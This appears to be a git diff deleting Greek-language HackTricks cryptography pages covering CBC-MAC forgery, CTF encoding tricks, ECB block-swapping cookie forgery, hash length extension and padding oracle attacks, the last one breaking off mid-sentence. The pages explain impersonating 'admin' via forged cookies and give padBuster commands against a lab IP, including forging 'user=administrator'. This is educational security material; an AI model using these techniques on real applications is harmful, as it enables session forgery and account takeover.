**Administrator**. - -### Summary - -1. Πάρε την υπογραφή του ονόματος χρήστη **Administ** (m1) που είναι s1 -2. Πάρε την υπογραφή του ονόματος χρήστη **rator\x00\x00\x00 XOR s1 XOR 0** που είναι s32**.** -3. Ρύθμισε το cookie σε s32 και θα είναι ένα έγκυρο cookie για τον χρήστη **Administrator**. - -# Attack Controlling IV - -Αν μπορείς να ελέγξεις το χρησιμοποιούμενο IV, η επίθεση μπορεί να είναι πολύ εύκολη.\ -Αν το cookie είναι απλώς το κρυπτογραφημένο όνομα χρήστη, για να προσποιηθείς τον χρήστη "**administrator**" μπορείς να δημιουργήσεις τον χρήστη "**Administrator**" και θα πάρεις το cookie του.\ -Τώρα, αν μπορείς να ελέγξεις το IV, μπορείς να αλλάξεις το πρώτο Byte του IV έτσι ώστε **IV\[0] XOR "A" == IV'\[0] XOR "a"** και να αναγεννήσεις το cookie για τον χρήστη **Administrator.** Αυτό το cookie θα είναι έγκυρο για **να προσποιηθείς** τον χρήστη **administrator** με το αρχικό **IV**. - -## References - -Περισσότερες πληροφορίες στο [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md deleted file mode 100644 index af0ed10ee..000000000 --- a/src/cryptography/crypto-ctfs-tricks.md +++ /dev/null @@ -1,271 +0,0 @@ -# Crypto CTFs Tricks - -{{#include ../banners/hacktricks-training.md}} - -## Online Hashes DBs - -- _**Google it**_ -- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) -- [https://crackstation.net/](https://crackstation.net) -- [https://md5decrypt.net/](https://md5decrypt.net) -- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com) -- [https://gpuhash.me/](https://gpuhash.me) -- [https://hashes.org/search.php](https://hashes.org/search.php) -- [https://www.cmd5.org/](https://www.cmd5.org) -- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) -- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) - -## Magic Autosolvers - -- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) -- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) -- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) - -## Encoders - -Οι περισσότερες από τις κωδικοποιημένες δεδομένες μπορούν να αποκωδικοποιηθούν με αυτούς τους 2 πόρους: - -- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### Substitution Autosolvers - -- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Πολύ καλό! - -#### Caesar - ROTx Autosolvers - -- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) - -#### Atbash Cipher - -- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) - -### Base Encodings Autosolver - -Ελέγξτε όλες αυτές τις βάσεις με: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - -- **Ascii85** -- `BQ%]q@psCd@rH0l` -- **Base26** \[_A-Z_] -- `BQEKGAHRJKHQMVZGKUXNT` -- **Base32** \[_A-Z2-7=_] -- `NBXWYYLDMFZGCY3PNRQQ====` -- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] -- `pbzsaamdcf3gna5xptoo====` -- **Base32 Geohash** \[_0-9b-hjkmnp-z_] -- `e1rqssc3d5t62svgejhh====` -- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] -- `D1QPRRB3C5S62RVFDHGG====` -- **Base32 Extended Hexadecimal** \[_0-9A-V_] -- `D1NMOOB3C5P62ORFDHGG====` -- **Base45** \[_0-9A-Z $%\*+-./:_] -- `59DPVDGPCVKEUPCPVD` -- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] -- `2yJiRg5BF9gmsU6AC` -- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] -- `2YiHqF5bf9FLSt6ac` -- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] -- `pyJ5RgnBE9gm17awU` -- **Base62** \[_0-9A-Za-z_] -- `g2AextRZpBKRBzQ9` -- **Base64** \[_A-Za-z0-9+/=_] -- `aG9sYWNhcmFjb2xh` -- **Base67** \[_A-Za-z0-9-_.!\~\_] -- `NI9JKX0cSUdqhr!p` -- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `BQ%]q@psCd@rH0l` -- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `<~BQ%]q@psCd@rH0l~>` -- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] -- `Xm4y`V\_|Y(V{dF>\` -- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` -- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] -- `Xm4y|V{~Y+V}dF?` -- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] -- `frDg[*jNN!7&BQM` -- **Base100** \[] -- `👟👦👣👘👚👘👩👘👚👦👣👘` -- **Base122** \[] -- `4F ˂r0Xmvc` -- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] -- `MIc3KiXa+Ihz+lrXMIc3KbCC` -- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] -- `DmPsv8J7qrlKEoY7` -- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] -- `kLD8iwKsigSalLJ5` -- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] -- `ayRiIo1gpO+uUc7g` -- **ESAB46** \[] -- `3sHcL2NR8WrT7mhR` -- **MEGAN45** \[] -- `kLD8igSXm2KZlwrX` -- **TIGO3FX** \[] -- `7AP9mIzdmltYmIP9mWXX` -- **TRIPO5** \[] -- `UE9vSbnBW6psVzxB` -- **FERON74** \[] -- `PbGkNudxCzaKBm0x` -- **GILA7** \[] -- `D+nkv8C1qIKMErY1` -- **Citrix CTX1** \[] -- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` - -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### HackerizeXS \[_╫Λ↻├☰┏_] -``` -╫☐↑Λ↻Λ┏Λ↻☐↑Λ -``` -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Νεκρός: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### Μορς -``` -.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- -``` -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### UUencoder -``` -begin 644 webutils_pl -M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( -M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/ -F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` -` -end -``` -- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) - -### XXEncoder -``` -begin 644 webutils_pl -hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 -5Hol-G2xAEE++ -end -``` -- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) - -### YEncoder -``` -=ybegin line=128 size=28 name=webutils_pl -ryvkryvkryvkryvkryvkryvkryvk -=yend size=28 crc32=35834c86 -``` -- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) - -### BinHex -``` -(This file must be converted with BinHex 4.0) -:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p --38K26%'d9J!!: -``` -- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) - -### ASCII85 -``` -<~85DoF85DoF85DoF85DoF85DoF85DoF~> -``` -- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) - -### Πληκτρολόγιο Dvorak -``` -drnajapajrna -``` -- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) - -### A1Z26 - -Γράμματα στην αριθμητική τους αξία -``` -8 15 12 1 3 1 18 1 3 15 12 1 -``` -### Affine Cipher Encode - -Γράμμα σε αριθμό `(ax+b)%26` (_a_ και _b_ είναι τα κλειδιά και _x_ είναι το γράμμα) και το αποτέλεσμα πίσω σε γράμμα -``` -krodfdudfrod -``` -### SMS Code - -**Multitap** [αντικαθιστά ένα γράμμα](https://www.dcode.fr/word-letter-change) με επαναλαμβανόμενους ψηφίους που καθορίζονται από τον αντίστοιχο κωδικό πλήκτρου σε ένα κινητό [πληκτρολόγιο τηλεφώνου](https://www.dcode.fr/phone-keypad-cipher) (Αυτή η λειτουργία χρησιμοποιείται κατά την αποστολή SMS).\ -Για παράδειγμα: 2=A, 22=B, 222=C, 3=D...\ -Μπορείτε να αναγνωρίσετε αυτόν τον κωδικό γιατί θα δείτε **πολλούς επαναλαμβανόμενους αριθμούς**. - -Μπορείτε να αποκωδικοποιήσετε αυτόν τον κωδικό στο: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Αντικαταστήστε κάθε γράμμα με 4 Α ή Β (ή 1s και 0s) -``` -00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 -AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA -``` -### Runes - -![](../images/runes.jpg) - -## Συμπίεση - -**Raw Deflate** και **Raw Inflate** (μπορείτε να βρείτε και τα δύο στο Cyberchef) μπορούν να συμπιέσουν και να αποσυμπιέσουν δεδομένα χωρίς κεφαλίδες. - -## Εύκολη Κρυπτογραφία - -### XOR - Αυτόματη Λύση - -- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) - -### Bifid - -Απαιτείται μια λέξη-κλειδί -``` -fgaargaamnlunesuneoa -``` -### Vigenere - -Απαιτείται ένα κλειδί -``` -wodsyoidrods -``` -- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) -- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) -- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) - -## Ισχυρή Κρυπτογραφία - -### Fernet - -2 base64 συμβολοσειρές (token και key) -``` -Token: -gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== - -Key: --s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= -``` -- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) - -### Samir Secret Sharing - -Ένα μυστικό χωρίζεται σε X μέρη και για να το ανακτήσεις χρειάζεσαι Y μέρη (_Y <=X_). -``` -8019f8fa5879aa3e07858d08308dc1a8b45 -80223035713295bddf0b0bd1b10a5340b89 -803bc8cf294b3f83d88e86d9818792e80cd -``` -[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) - -### OpenSSL brute-force - -- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) -- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) - -## Εργαλεία - -- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) -- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) -- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md deleted file mode 100644 index ebfdc27a4..000000000 --- a/src/cryptography/electronic-code-book-ecb.md +++ /dev/null @@ -1,68 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# ECB - -(ECB) Ηλεκτρονικό Βιβλίο Κωδικών - συμμετρικό σχήμα κρυπτογράφησης που **αντικαθιστά κάθε μπλοκ του καθαρού κειμένου** με το **μπλοκ του κρυπτογραφημένου κειμένου**. Είναι το **απλούστερο** σχήμα κρυπτογράφησης. Η κύρια ιδέα είναι να **χωρίσετε** το καθαρό κείμενο σε **μπλοκ N bit** (εξαρτάται από το μέγεθος του μπλοκ των εισερχόμενων δεδομένων, αλγόριθμο κρυπτογράφησης) και στη συνέχεια να κρυπτογραφήσετε (αποκρυπτογραφήσετε) κάθε μπλοκ του καθαρού κειμένου χρησιμοποιώντας το μόνο κλειδί. - -![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) - -Η χρήση του ECB έχει πολλές επιπτώσεις στην ασφάλεια: - -- **Μπλοκ από το κρυπτογραφημένο μήνυμα μπορούν να αφαιρεθούν** -- **Μπλοκ από το κρυπτογραφημένο μήνυμα μπορούν να μετακινηθούν** - -# Ανίχνευση της ευπάθειας - -Φανταστείτε ότι συνδέεστε σε μια εφαρμογή πολλές φορές και **πάντα λαμβάνετε το ίδιο cookie**. Αυτό συμβαίνει επειδή το cookie της εφαρμογής είναι **`|`**.\ -Στη συνέχεια, δημιουργείτε δύο νέους χρήστες, και οι δύο με το **ίδιο μακρύ κωδικό πρόσβασης** και **σχεδόν** το **ίδιο** **όνομα χρήστη**.\ -Ανακαλύπτετε ότι τα **μπλοκ των 8B** όπου οι **πληροφορίες και των δύο χρηστών** είναι οι ίδιες είναι **ίσα**. Στη συνέχεια, φαντάζεστε ότι αυτό μπορεί να συμβαίνει επειδή **χρησιμοποιείται το ECB**. - -Όπως στο παρακάτω παράδειγμα. Παρατηρήστε πώς αυτά τα **2 αποκωδικοποιημένα cookies** έχουν πολλές φορές το μπλοκ **`\x23U\xE45K\xCB\x21\xC8`**. -``` -\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 - -\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 -``` -Αυτό συμβαίνει επειδή το **όνομα χρήστη και ο κωδικός πρόσβασης αυτών των cookies περιείχαν πολλές φορές το γράμμα "a"** (για παράδειγμα). Τα **μπλοκ** που είναι **διαφορετικά** είναι μπλοκ που περιείχαν **τουλάχιστον 1 διαφορετικό χαρακτήρα** (ίσως το διαχωριστικό "|" ή κάποια απαραίτητη διαφορά στο όνομα χρήστη). - -Τώρα, ο επιτιθέμενος χρειάζεται απλώς να ανακαλύψει αν η μορφή είναι `` ή ``. Για να το κάνει αυτό, μπορεί απλώς να **δημιουργήσει αρκετά ονόματα χρήστη** με **παρόμοια και μακριά ονόματα χρήστη και κωδικούς πρόσβασης μέχρι να βρει τη μορφή και το μήκος του διαχωριστικού:** - -| Μήκος ονόματος χρήστη: | Μήκος κωδικού πρόσβασης: | Μήκος ονόματος χρήστη + Κωδικού πρόσβασης: | Μήκος cookie (μετά την αποκωδικοποίηση): | -| ----------------------- | ------------------------ | -------------------------------------------- | ---------------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | - -# Εκμετάλλευση της ευπάθειας - -## Αφαίρεση ολόκληρων μπλοκ - -Γνωρίζοντας τη μορφή του cookie (`|`), προκειμένου να προσποιηθεί το όνομα χρήστη `admin`, δημιουργήστε έναν νέο χρήστη με το όνομα `aaaaaaaaadmin` και αποκτήστε το cookie και αποκωδικοποιήστε το: -``` -\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 -``` -Μπορούμε να δούμε το μοτίβο `\x23U\xE45K\xCB\x21\xC8` που δημιουργήθηκε προηγουμένως με το όνομα χρήστη που περιείχε μόνο `a`.\ -Στη συνέχεια, μπορείτε να αφαιρέσετε το πρώτο μπλοκ των 8B και θα αποκτήσετε ένα έγκυρο cookie για το όνομα χρήστη `admin`: -``` -\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 -``` -## Μετακίνηση μπλοκ - -Σε πολλές βάσεις δεδομένων είναι το ίδιο να αναζητάς `WHERE username='admin';` ή `WHERE username='admin ';` _(Σημειώστε τα επιπλέον κενά)_ - -Έτσι, ένας άλλος τρόπος για να προσποιηθείς τον χρήστη `admin` θα ήταν να: - -- Δημιουργήσεις ένα όνομα χρήστη που: `len() + len(` θα δημιουργήσει 2 μπλοκ των 8Bs. -- Στη συνέχεια, να δημιουργήσεις έναν κωδικό πρόσβασης που θα γεμίσει έναν ακριβή αριθμό μπλοκ που περιέχουν το όνομα χρήστη που θέλουμε να προσποιηθούμε και κενά, όπως: `admin ` - -Το cookie αυτού του χρήστη θα αποτελείται από 3 μπλοκ: τα πρώτα 2 είναι τα μπλοκ του ονόματος χρήστη + διαχωριστής και το τρίτο από τον κωδικό πρόσβασης (ο οποίος προσποιείται το όνομα χρήστη): `username |admin ` - -**Στη συνέχεια, απλώς αντικατέστησε το πρώτο μπλοκ με το τελευταίο και θα προσποιείσαι τον χρήστη `admin`: `admin |username`** - -## Αναφορές - -- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md deleted file mode 100644 index 8c938275c..000000000 --- a/src/cryptography/hash-length-extension-attack.md +++ /dev/null @@ -1,38 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# Περίληψη της επίθεσης - -Φανταστείτε έναν διακομιστή που **υπογράφει** κάποια **δεδομένα** προσθέτοντας ένα **μυστικό** σε κάποια γνωστά καθαρά δεδομένα και στη συνέχεια κατακερματίζοντας αυτά τα δεδομένα. Αν γνωρίζετε: - -- **Το μήκος του μυστικού** (αυτό μπορεί επίσης να βρεθεί με brute force από μια δεδομένη περιοχή μήκους) -- **Τα καθαρά δεδομένα** -- **Ο αλγόριθμος (και είναι ευάλωτος σε αυτή την επίθεση)** -- **Η προσθήκη είναι γνωστή** -- Συνήθως χρησιμοποιείται μια προεπιλεγμένη, οπότε αν πληρούνται οι άλλες 3 απαιτήσεις, αυτό ισχύει επίσης -- Η προσθήκη ποικίλλει ανάλογα με το μήκος του μυστικού + δεδομένα, γι' αυτό χρειάζεται το μήκος του μυστικού - -Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προστιθέμενα δεδομένα**. - -## Πώς; - -Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τους κατακερματισμούς πρώτα **κατακερματίζοντας ένα μπλοκ δεδομένων**, και στη συνέχεια, **από** τον **προηγουμένως** δημιουργημένο **κατακερματισμό** (κατάσταση), **προσθέτουν το επόμενο μπλοκ δεδομένων** και **το κατακερματίζουν**. - -Τότε, φανταστείτε ότι το μυστικό είναι "secret" και τα δεδομένα είναι "data", το MD5 του "secretdata" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\ -Αν ένας επιτιθέμενος θέλει να προσθέσει τη συμβολοσειρά "append" μπορεί να: - -- Δημιουργήσει ένα MD5 από 64 "A"s -- Αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμού σε 6036708eba0d11f6ef52ad44e8b74d5b -- Προσθέσει τη συμβολοσειρά "append" -- Ολοκληρώσει τον κατακερματισμό και ο προκύπτων κατακερματισμός θα είναι **έγκυρος για "secret" + "data" + "padding" + "append"** - -## **Εργαλείο** - -{{#ref}} -https://github.com/iagox86/hash_extender -{{#endref}} - -## Αναφορές - -Μπορείτε να βρείτε αυτή την επίθεση καλά εξηγημένη στο [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md deleted file mode 100644 index 84e1f04b4..000000000 --- a/src/cryptography/padding-oracle-priv.md +++ /dev/null @@ -1,102 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -
- -# CBC - Cipher Block Chaining - -Στη λειτουργία CBC, το **προηγούμενο κρυπτογραφημένο μπλοκ χρησιμοποιείται ως IV** για XOR με το επόμενο μπλοκ: - -![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) - -Για να αποκρυπτογραφήσετε το CBC, γίνονται οι **αντίθετες** **λειτουργίες**: - -![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) - -Σημειώστε πώς είναι απαραίτητο να χρησιμοποιήσετε ένα **κλειδί** **κρυπτογράφησης** και ένα **IV**. - -# Message Padding - -Καθώς η κρυπτογράφηση εκτελείται σε **σταθερούς** **μεγέθους** **μπλοκ**, η **padding** είναι συνήθως απαραίτητη στο **τελευταίο** **μπλοκ** για να ολοκληρωθεί το μήκος του.\ -Συνήθως χρησιμοποιείται το **PKCS7**, το οποίο δημιουργεί μια padding **επαναλαμβάνοντας** τον **αριθμό** των **byte** που είναι **απαραίτητα** για να **ολοκληρωθεί** το μπλοκ. Για παράδειγμα, αν το τελευταίο μπλοκ λείπουν 3 byte, η padding θα είναι `\x03\x03\x03`. - -Ας δούμε περισσότερα παραδείγματα με **2 μπλοκ μήκους 8byte**: - -| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | -| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | -| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | - -Σημειώστε πώς στο τελευταίο παράδειγμα το **τελευταίο μπλοκ ήταν γεμάτο, οπότε δημιουργήθηκε ένα άλλο μόνο με padding**. - -# Padding Oracle - -Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, πρώτα θα αποκρυπτογραφήσει τα δεδομένα και στη συνέχεια θα αφαιρέσει την padding. Κατά την καθαριότητα της padding, αν μια **μη έγκυρη padding προκαλεί μια ανιχνεύσιμη συμπεριφορά**, έχετε μια **ευπάθεια padding oracle**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, μια **έλλειψη αποτελεσμάτων** ή μια **αργή απόκριση**. - -Αν ανιχνεύσετε αυτή τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμη και να **κρυπτογραφήσετε οποιοδήποτε καθαρό κείμενο**. - -## How to exploit - -Μπορείτε να χρησιμοποιήσετε [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) για να εκμεταλλευτείτε αυτό το είδος ευπάθειας ή απλά να κάνετε -``` -sudo apt-get install padbuster -``` -Για να δοκιμάσετε αν το cookie μιας ιστοσελίδας είναι ευάλωτο, θα μπορούσατε να δοκιμάσετε: -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -``` -**Κωδικοποίηση 0** σημαίνει ότι χρησιμοποιείται **base64** (αλλά υπάρχουν και άλλες διαθέσιμες, ελέγξτε το μενού βοήθειας). - -Μπορείτε επίσης να **καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**_**user=MyUsername**_**", τότε μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να κλιμακώσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας `paduster` καθορίζοντας την παράμετρο -plaintext**: -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" -``` -Αν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει το σφάλμα padding, αλλά μπορείτε επίσης να υποδείξετε το μήνυμα σφάλματος χρησιμοποιώντας την παράμετρο **-error**. -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" -``` -## Η θεωρία - -Συνοπτικά, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργήσουν όλα τα διαφορετικά padding. Στη συνέχεια, η επίθεση padding oracle θα αρχίσει να αποκρυπτογραφεί τα bytes από το τέλος προς την αρχή μαντεύοντας ποια θα είναι η σωστή τιμή που δημιουργεί ένα padding 1, 2, 3, κ.λπ. - -![](<../images/image (629) (1) (1).png>) - -Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει 2 blocks που σχηματίζονται από τα bytes από E0 έως E15.\ -Για να αποκρυπτογραφήσετε το τελευταίο block (E8 έως E15), ολόκληρο το block περνάει από την "αποκρυπτογράφηση block cipher" παράγοντας τα ενδιάμεσα bytes I0 έως I15.\ -Τέλος, κάθε ενδιάμεσο byte XORed με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι: - -- `C15 = D(E15) ^ E7 = I15 ^ E7` -- `C14 = I14 ^ E6` -- `C13 = I13 ^ E5` -- `C12 = I12 ^ E4` -- ... - -Τώρα, είναι δυνατόν να τροποποιήσετε το `E7` μέχρι το `C15` να είναι `0x01`, το οποίο θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτή την περίπτωση: `\x01 = I15 ^ E'7` - -Έτσι, βρίσκοντας το E'7, είναι δυνατόν να υπολογίσετε το I15: `I15 = 0x01 ^ E'7` - -Αυτό μας επιτρέπει να υπολογίσουμε το C15: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` - -Γνωρίζοντας το C15, τώρα είναι δυνατόν να υπολογίσετε το C14, αλλά αυτή τη φορά με brute-forcing το padding `\x02\x02`. - -Αυτή η BF είναι εξίσου περίπλοκη με την προηγούμενη καθώς είναι δυνατόν να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15` οπότε χρειάζεται απλώς να βρείτε το **`E'14`** που παράγει ένα 